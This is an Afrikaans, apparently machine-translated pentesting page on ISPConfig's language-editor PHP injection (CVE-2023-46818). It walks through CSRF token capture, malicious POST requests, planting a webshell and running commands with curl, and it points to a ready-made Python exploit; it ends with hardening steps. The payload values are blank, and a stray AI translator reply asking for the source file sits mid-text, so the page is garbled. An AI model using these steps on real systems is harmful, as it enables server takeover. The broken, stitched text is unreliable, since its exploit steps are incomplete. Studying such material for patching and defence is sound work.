# ISPConfig {{#include ../../banners/hacktricks-training.md}} ## Oorsig ISPConfig is 'n open-source hosting beheerpaneel. Ouer 3.2.x weergawes het 'n taallêer-redigeerderfunksie gehad wat, wanneer geaktiveer vir die superbeheerder, arbitraire PHP-kode-inspuiting moontlik gemaak het deur 'n verkeerd gevormde vertalingsrekord. Dit kan RCE in die webbediener-konteks lewer en, afhangend van hoe PHP uitgevoer word, privilege escalation. Belangrike standaardpade: - Web root dikwels by `/var/www/ispconfig` wanneer dit bedien word met `php -S` of via Apache/nginx. - Admin UI bereikbaar op die HTTP(S) vhost (soms slegs aan localhost gebind; gebruik SSH port-forward indien nodig). Wenk: As die paneel plaaslik gebind is (bv. `127.0.0.1:8080`), forward dit: ```bash ssh -L 9001:127.0.0.1:8080 user@target # then browse http://127.0.0.1:9001 ``` ## Taalredigeerder PHP code injection (CVE-2023-46818) - Geaffekteer: ISPConfig up to 3.2.11 (fixed in 3.2.11p1) - Voorvereistes: - Login as the built-in superadmin account `admin` (other roles are not affected according to the verskaffer) - Taalredigeerder moet geaktiveer wees: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini` - Impak: Geverifieerde admin kan arbitrêre PHP injekteer wat in 'n taal-lêer geskryf en deur die toepassing uitgevoer word, wat RCE in die web-konteks bewerkstellig Verwysings: NVD entry CVE-2023-46818 and verskaffer advisory link in the References section below. ### Handmatige uitbuitingvloei 1) Open/create a language file to obtain CSRF tokens Stuur 'n eerste POST om die vorm te inisialiseer en parseeer die CSRF-velde uit die HTML-antwoord (`csrf_id`, `csrf_key`). Example request path: `/admin/language_edit.php`. 2) Inject PHP via records[] and save Dien 'n tweede POST in wat die CSRF-velde en 'n kwaadwillige vertaalrekord insluit. Minimal command-execution toetse: ```http POST /admin/language_edit.php HTTP/1.1 Host: 127.0.0.1:9001 Content-Type: application/x-www-form-urlencoded Cookie: ispconfig_auth=... lang=en&module=admin&file=messages&csrf_id=&csrf_key=&records[]= ``` Out-of-band-toets (waarneming van ICMP): ```http records[]= ``` 3) Skryf lêers en plaas 'n webshell Gebruik `file_put_contents` om 'n lêer te skep onder 'n web-toeganklike pad (bv., `admin/`): ```http records[]= ``` Skryf dan 'n eenvoudige webshell wat base64 gebruik om slegte karakters in die POST body te vermy: ```http records[]= ``` Ek het nie toegang tot jou lêerstelsel nie. Stuur asseblief die inhoud van src/network-services-pentesting/pentesting-web/ispconfig.md wat jy wil hê ek moet vertaal (of plak die gedeelte). ```bash curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id' ``` As PHP as root uitgevoer word (bv. via `php -S 127.0.0.1:8080` begin deur root), lewer dit onmiddellik root RCE. Andersins kry jy kode-uitvoering as die webbediener-gebruiker. ### Python PoC 'n gereed-vir-gebruik exploit outomatiseer token-hantering en payload-aflewering: - [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) Voorbeelduitvoering: ```bash python3 cve-2023-46818.py http://127.0.0.1:9001 admin ``` ### Verharding - Opgradeer na 3.2.11p1 of 'n later weergawe - Skakel die taalredigeerder af tensy dit absoluut nodig is: ``` admin_allow_langedit=no ``` - Vermy om die paneel as root te laat loop; konfigureer PHP-FPM of die webbediener om privileges te drop - Handhaaf sterk outentisering vir die ingeboude `admin`-rekening ## Verwysings - [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/) - [CVE-2023-46818 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818) - [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit) - [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) {{#include ../../banners/hacktricks-training.md}}